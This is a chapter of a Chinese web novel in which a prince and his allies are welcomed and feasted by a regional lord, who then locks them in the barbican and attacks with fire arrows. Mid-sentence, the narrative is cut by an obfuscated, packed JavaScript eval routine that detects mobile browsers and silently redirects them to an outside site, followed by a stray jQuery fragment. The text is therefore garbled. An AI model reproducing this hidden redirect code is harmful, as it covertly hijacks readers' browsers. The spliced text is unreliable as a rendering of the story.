46. 瓮中捉鳖

作品:《借我入骨刀

    日头升了又落,落了又升。


    活下来的人还得接着走。


    三日急行军。连绵的山势终于到了头,眼前是一马平川的黔中平原。


    纪君衡忽然指着前方。


    顺着他手指的方向,容锦抬眼望去,黔州到了。


    两列举着火把的兵卒顺着官道排开,亮堂堂的火光照亮了半边天。


    城门口候着一人,未着甲胄,一身锦袍立在寒风里。见旌旗近了,那人快步迎上,不顾地上泥水,纳头便拜。


    “臣赵淳,恭迎七皇子殿下,恭迎世子!”


    身后僚属跪了一地。


    容锦勒马。


    比起那个肥得流油的蜀王刘昌,这黔州王赵淳黑瘦得像个老农,手背上全是冻裂的口子,发髻没束金冠,只插了根木簪。


    容锦翻身下马,虚扶一把。


    赵淳直起身,声音发哽:“臣听闻前线吃紧,日夜盼着朝廷大军。这一路蜀道难行,殿下受苦了。城中已备下薄酒热饭,请大军入城修整!”


    说完,他抢上一步,接过容锦手里的缰绳,就要牵马坠蹬。


    “今岁黔州收成尚可,臣这就让人开仓。”赵淳一边走一边絮叨,“马料都是精挑的,保准把战马喂得膘肥体壮。”


    入了城,景象大变。


    街道扫得干干净净,沿街商铺虽关了门,却挂满红灯笼。瓮城校场里,百十口大铁锅一字排开,锅底柴火烧得正旺。


    锅盖一揭,白气冲天。


    浓稠的米粥咕嘟冒泡,掺了肉臊子。旁边笸箩里堆着刚出炉的死面饼子,个顶个结实。


    蜀兵们早饿得肚子咕噜直叫,要不是军令压着,早扑上去了。


    “吃!都吃!”赵淳大手一挥,站在锅台边吆喝,“管够!不够再杀猪!”


    兵卒们涌上去,捧着碗狼吞虎咽。


    李顺抢了个饼子,烫得左右手倒换,塞进嘴里噎得直翻白眼。老张端着粥蹲在墙根,呼噜呼噜往嘴里灌,热汤顺着胡茬往下淌,烫得心里发颤。


    这才是人过的日子啊!


    王府内,案几上摆满珍馐。


    虽无京城精致,却是实打实的硬菜。整只烧鹅,脸盆大的酱肘子。黔州自酿烈酒,入喉割嗓,落肚成火。


    曹贺抱着猪蹄啃得满嘴油:“赵王爷,讲究!”


    “刘昌鼠目寸光,误国误民。”


    赵淳陪坐在下首,亲自给纪君衡斟酒,“如今燕贼压境,他还守着那点家底算计。覆巢之下安有完卵?臣虽不才,却也知道唇亡齿寒的道理。”


    他放下酒壶,看向容锦,正色道:


    “殿下,臣已点齐黔州三万兵马。”


    容锦捏酒杯的手指一紧。


    三万。


    蜀王刘昌坐拥天府之国,不过才挤出八千。这黔州地处偏远,三万兵马,怕是赵淳的全部家底了。


    “王爷当真?”


    “军中无戏言。”


    赵淳从袖中掏出一枚青铜虎符,双手呈上,“兵马就在城西大营,粮草两万石,明日便可随军出发。臣愿亲自领兵为前锋,替殿下开路!”


    “黔州一共多少兵?”纪君衡问。


    “三万五。”


    赵淳答得坦荡,“留下五千守城,防备流寇。剩下的,全交由殿下调遣。”


    “都给了我们,若是燕军绕道攻你黔州,你拿什么守?”


    “守不住就不守!”


    赵淳脖子一梗,端起酒碗一饮而尽,“当年先祖随太祖皇帝打天下,命是朝廷给的。如今朝廷有难,臣若是还藏着掖着,死后有何面目去见赵家列祖列宗?”


    碗重重顿在桌上。


    “燕贼若破了黔州,臣便与这城共存亡。只要殿下能平叛,臣这一家老小的性命,值了!”


    万福大加赞赏:“忠臣!这才是大大的忠臣啊!咱家回京,定要在陛下面前为您请功!”


    容锦看着那枚虎符,举起杯,“王爷高义。这一杯,敬王爷。”


    赵淳慌忙起身回敬。


    酒过三巡,气氛热络。赵淳虽是藩王,却没半点架子,讲起黔州的风土人情,又骂起燕军的暴行,咬牙切齿,恨不得生啖其肉。


    纪君衡始终话不多。


    他靠在椅背,修长手指转着酒杯,偶尔抿一口。


    伤兵营里,军医正在忙活。


    老张睡熟了,呼噜打得震天响,烂腿缠上洁白细布。


    李顺蹲在火盆边,小口啃着大白馒头。


    “世子。”


    曹贺巡视了一圈回来,神色松快,“这赵王爷是个实诚人。刚我去马厩看了,好家伙,槽头里的豆饼拌着粟米,比咱们蜀道上吃的军粮都强,我都想趴下跟马抢一口。”


    容锦站在台阶上,看着满营灯火。


    风停了。


    压在头顶的阴云,似乎真的散了一些。


    “三万兵马……”容锦低声重复,“明天就能集结。”


    有了这三万人,即便不能全歼燕军,至少守住黔州,依托地利周旋,也算有了本钱。


    纪君衡站在阴影里。


    远处,赵淳正佝偻着背,亲自带人给马厩加草料,毫无王爷架子。


    “世子觉得不妥?”容锦转头。


    “太妥了。”纪君衡冷冷一笑。


    要兵给兵,要粮给粮,身先士卒,爱兵如子。这是从哪部戏文里走出来的忠臣良将?


    容锦还在琢磨,赵淳走了过来,他抬头看了眼月色,说道:


    “殿下,寅时了。西大营在十里外的野猪岭,山道窄,行军慢。臣现在动身去调兵,天亮前刚好能赶回城门口与大军汇合。”


    容锦点头:“有劳王爷。”


    “分内之事。”


    赵淳后退三步,恭恭敬敬行了个大礼,“城中防务臣已交托给副将王猛。这几千弟兄吃饱喝足,就在伤兵营歇着。待臣领大军归来,咱们一同杀燕贼个片甲不留!”


    他接过亲卫递来的缰绳,翻身上马。


    “驾!”马鞭脆响。赵淳领着几十名亲卫,马蹄卷起烟尘,直奔北门而去。


    营地里鼾声四起。


    蜀兵们这一顿吃得太撑,油水太足,加上连日奔波,此刻一个个抱着肚子睡得像死猪,怕是踹上一脚也未必能醒。


    北面传来沉闷的轰鸣。


    纪君衡蹙眉:“曹贺,上城头看看。”


    不过片刻。


    “操他祖宗!”曹贺从城墙台阶上跳下来,落地都没站稳,”内门封了!那王八蛋刚走就把闸门下了死锁,还灌了铁水!我们被关在瓮城里了!”


    容锦霍然起身,看向四周高耸的城墙。


    被瓮中捉鳖了?


    “守军呢?”


    “个屁的守军!”曹贺拔刀指着城头,“墙头上没人!那排站岗的,全是草扎的假人!刚才风一吹倒了一片,老子才看清!”


    纪君衡下令:“叫醒所有人!”


    赵胜也反应过来,一脚踹翻火盆,火星炸得满地都是。


    “敌袭——!”


    这一嗓子没能把人叫醒。大部分蜀兵只是翻了个身,嘴里嘟囔着梦话。


    曹贺抄起刀鞘,狠抽在最近一个兵卒脸上。


    “醒醒!要命的都起来!”


    那兵卒被打得满嘴血,迷迷糊糊睁眼,还没看清人影。


    头顶城墙上,数千支火把陡然亮起。


    瓮城太小,帐篷扎得太密。


    落下来的是火箭。


    箭头缠着浸了猛火油的麻布,落地即燃。瓮城里本就堆满了干草和马料,这一下,火苗子顺着风势,呼啦一声卷上天。


    有人没头苍蝇似的乱撞,撞倒了火盆,身上立刻也挂了火。有人往水缸里扑,可那点水哪里够用,一瓢水泼下去,火没灭,反倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954436|190368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    腾起一片滚烫的白雾,把皮肉都烫熟了。


    空气里弥漫起一股焦糊味。


    刚才还在吃肉的人,这会儿成了铁锅里的肉。


    混乱中,容锦避开一波箭雨,跑到纪君衡身侧。


    纪君衡脚一挑,将翻倒的木桌踢起来挡在跟前。箭头透木而出,离他们二人的鼻尖不过分毫。


    “狗娘养的赵淳!这是要把咱们活活困死!”曹贺挥刀劈飞一支火箭,骂骂咧咧,“四面高墙,没处可逃!”


    容锦目光扫过瓮城,直指北面:“马道能通箭楼,抢下制高点才能压制墙头弓箭手!”


    “马道狭窄,易守难攻,燕军定会集中火力死守。硬冲只会徒增伤亡。


    ”纪君衡沉声道,分工干脆,“曹贺,你带两百人从左侧迂回,吸引火力。”


    “世子放心!”曹贺应道。


    纪君衡看向容锦:“殿下,你带羽林卫主力,跟在我身后冲马道。赵胜勇猛,让他打头阵,撕开箭雨缺口。你居中调度,接应溃散的蜀兵,尽量收拢人手。多一个人,就多一分突围的胜算。”


    “我明白。”容锦点头,她高声喊道,“赵胜!带三十名精锐羽林卫,随我冲马道!其余人收拢散兵,跟着曹护卫做掩护!”


    “诺!”赵胜闻声,带着人迅速靠拢过来。


    那边,曹贺推了一车捆浸了油的干草,砸向火海,干草落地瞬间燃起熊熊烈焰,形成一道火墙。他挥刀吼道:“兄弟们跟我来!”说罢率先冲出,借浓烟遮蔽身形,朝着城墙下冲去。


    “走!”纪君衡一把攥住容锦的手腕,五指收紧。


    那力道不容分说,疼得她腕骨一麻。没半点多余的意思,就是要她跟上,别死在半道。


    容锦被他拽着,手中剑不断挥出,格飞数支冷箭。


    桌案被箭雨射得千疮百孔,轰然散架。纪君衡侧身将容锦往后一挡,长剑横扫,劈开一片箭雨,低喝:“冲!”


    羽林军举着铁盾顶在最前,一名燕军从盾侧探出长枪,咽喉一抹,热血喷上墙壁。


    纪君衡跨过尸身,手中长剑借势前送,精准地刺入那燕军的心口。


    马道狭窄,每一步都用人命来填。


    终于冲上箭楼平台。


    一名燕军弩手正奋力转动绞盘,给巨弩上弦。见状,弃了摇杆,抄起腰间的板斧劈来。


    纪君衡侧身避过斧刃,长剑顺势上撩。腕筋被挑断的瞬间。那弩手吃痛张口,剑尖便已自下颌贯入,由颅顶透出。


    一脚将尸身踢下高台,纪君衡俯身快速检查机括,见巨弩已近满弦,当即双手扶住弩机,对身后吼道:“赵胜,守住楼梯!”


    弩机沉逾百斤,容锦跟着扑上前来,与他各据一侧。


    可连日急行军本就耗损体力,方才突围又几番辗转,此刻拼尽全力,也只觉得那弩机重逾千斤,每推一寸都像要耗尽全身气血。


    容锦往后退了半步,险些栽倒。


    纪君衡伸手扶她一把:“稳住,再推半寸。”


    容锦咬牙,几乎是凭着一股韧劲往前顶。


    就是弩身对准的瞬间——


    “放!”两人异口同声。


    弩箭脱弦而出,带着破空的锐响,撞碎头名燕军的胸骨,余势不减,接着贯穿了后方两人,将三具尸身牢牢钉死在墙垛上。


    那一段城墙上的箭雨顿时稀疏下来。


    容锦松了口气,眼底带着一丝劫后余生的光。


    纪君衡也在看她,方才揽过她腰间的掌心还残留着触感,他别过脸:“还行?”


    “不行也得行。”


    瓮城里的蜀兵得了片刻喘息,曹贺抓住时机,振臂高呼:“堵住北门!”


    北门的门栓已被砸毁,无法落锁。蜀兵听到号令,立刻转身扑去,合力推上厚重门板,继而以血肉之躯死死抵住,用脊梁和肩膀扛住了门外一波又一波的撞击。